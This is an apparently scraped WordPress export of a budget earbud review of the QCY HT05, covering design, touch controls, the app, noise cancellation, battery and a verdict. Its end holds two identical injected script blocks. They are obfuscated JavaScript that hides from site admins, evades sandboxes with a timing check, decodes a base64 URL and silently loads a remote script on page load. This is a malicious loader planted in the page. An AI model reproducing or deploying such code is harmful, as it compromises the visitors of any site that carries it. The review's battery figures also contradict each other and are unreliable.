Its overall aesthetics resemble the QCY T13, but with a slight curve in its design, making it more pocket-friendly due to the rounded corners. The matte white and black texture of the case not only adds a touch of style but also enhances grip, ensuring it stays securely in your hand.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The in-ear design of the earbuds provides a comfortable fit, and if the default size doesn&#8217;t suit you, there are extra ear tips included in the box. Pairing is manual and requires opening the case, which also <strong>reveals a centrally positioned LED<\/strong> indicator that turns orange during charging. The earbuds themselves sport LEDs on their long shells, providing clear pairing status.<\/span><\/p>\n<h3><b>Color<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">As for colors, you get black or white, both options come with matching ear tips, allowing you to choose the style that suits you best. This color doesn\u2019t look shady in the eyes, as they are quite a matte finish and give you a premium vibe when holding it.<\/span><\/p>\n<h3><b>Build<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">The case is lightweight at 50 grams and compact, though constructed primarily from plastic. While plastic may not scream premium, it helps keep the earbuds lightweight and budget-friendly.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">However, it&#8217;s worth noting that the plastic can be prone to scratches, so gentle handling is advised. On the plus side, <strong>the HT05 offers IPX5 water resistance<\/strong>, providing protection against light rain and sweat, although it&#8217;s not meant for submersion or heavy splashes. Overall, the QCY HT05 impresses with its design, comfort, and practicality, making it a solid choice for budget-conscious consumers.<\/span><\/p>\n<h2><b>4.

Thanks to improved touch sensors, these earbuds respond with heightened sensitivity and accuracy, making everyday tasks a breeze.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For call management and music playback, a double touch on either earbud allows you to answer or end calls, as well as pause and resume music playback. Triple tapping advances to the next track, giving you easy control over your playlist.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Holding for 1.5 seconds lets you ignore incoming calls.

This feature minimizes audio latency, providing a seamless gaming experience.<\/span><\/p>\n<h3><b>App Usage<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">To further enhance your control and customization options, the <strong>\u201cQCY\u201d<\/strong> app is available on both <strong>iOS and Android<\/strong> platforms. The user-friendly interface offers easy access to various features. Truthfully, the most useful feature will be seeing the battery level of each HT05 melobuds, which is important to see when to charge and when to not use.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Within the app&#8217;s <strong>&#8220;Sound Effect Market,&#8221;<\/strong> you can fine-tune your audio experience with presets like <strong>&#8220;Pop,&#8221; &#8220;Bass,&#8221; or &#8220;Rock&#8221;<\/strong> and more music modes.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The app also provides you with \u201c<strong>Noise Canceling Mode<\/strong>\u201d, options and selections, which you can control to remain in noise canceling, transparency, and normal. There is a selection option to choose which environment you are in, whether it is indoor, commuting, or noisy and you can change or select that just from the QCY app.<\/span><\/p>\n<h2><b>5.

While it may not rival top-tier ANC headphones, it does a commendable job of muffling external distractions. Notably, the <strong>&#8220;Wind Noise Cancellation&#8221;<\/strong> is a unique addition, effectively blocking out wind noise at speeds of up to 45km\/h, allowing you to enjoy your music undisturbed.<\/span><\/p>\n<h3><b>Transparency Mode<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">The transparency mode, complete with volume control and boosted vocals, provides a seamless transition from immersive music to awareness of your surroundings.

Inside the tiny earbuds, you&#8217;ll find a 350mAh battery, which is quite substantial for its category.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">With active noise cancellation (ANC) turned on, you can expect approximately 3.5 hours of playback time. However, if you opt to use the earbuds without ANC, you&#8217;ll enjoy a longer listening session, with up to 6 hours of continuous music and streaming. And you will be happy to know that the HT05 melobuds comes with a enormous 30-hour battery life with ANC turned off. While real-world usage may not reach 30 hours, it&#8217;s still an impressive feat for a budget-friendly option.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For those planning extended viewing sessions, it&#8217;s advisable to use <strong>ANC for a limited period of time<\/strong>, as it can drain the battery faster.

However to charge, you must need around 1.5 hours to charge the HT05 Melobuds themselves, and to fully charge the case might take <strong>30 minutes longer with 2 hours or so<\/strong>. This modern charging solution adds to the overall convenience of this impressive budget-friendly earbud.<\/span><\/p>\n<h2><b>8.

Verdict [ps2id id=&#8217;9&#8242; target=&#8221;\/]<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">In short, the QCY HT05 offers a glimpse into the <strong>evolving landscape of QCY&#8217;s earbuds<\/strong>, and it&#8217;s a promising one. With commendable sound quality, decent bass, and a battery life that won&#8217;t leave you hanging, it&#8217;s a worthy consideration.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">However, it&#8217;s not without its quirks. Active noise cancellation (ANC) doesn&#8217;t completely eliminate all ambient sounds, but it does a respectable job with typical background noise like traffic and conversations. There are also some minor control issues that require precise taps to switch tracks or activate ANC, demanding your attention during use.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Despite these drawbacks, when you consider the overall package, including sound quality and battery life,<strong> the QCY HT05<\/strong> shines brightly in its budget category. It&#8217;s a deal worth considering, as long as you&#8217;re willing to overlook a few minor cons in exchange for excellent value.<\/span><\/p>\n<p><b>Get the QCY HT05, if<\/b><\/p>\n<p><b>&gt; <\/b><span style=\"font-weight: 400;\">You need sweat and raindrop waterproofing;<br \/>\n<\/span><b>&gt; <\/b><span style=\"font-weight: 400;\">You have good battery life earbuds with ambient sound quality;<br \/>\n<\/span><b>&gt; <\/b><span style=\"font-weight: 400;\">You want budget earbuds with ANC features.<\/span><\/p>\n<p>[maxbutton id=&#8221;1&#8243; url=&#8221;https:\/\/www.applegadgetsbd.com\/product\/qcy-ht05-melobuds-anc-true-wireless-earbuds&#8221; text=&#8221;Check Latest Price&#8221; ]<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The QCY HT05 is a budget-friendly earbud that has been making waves since its release in 2019.
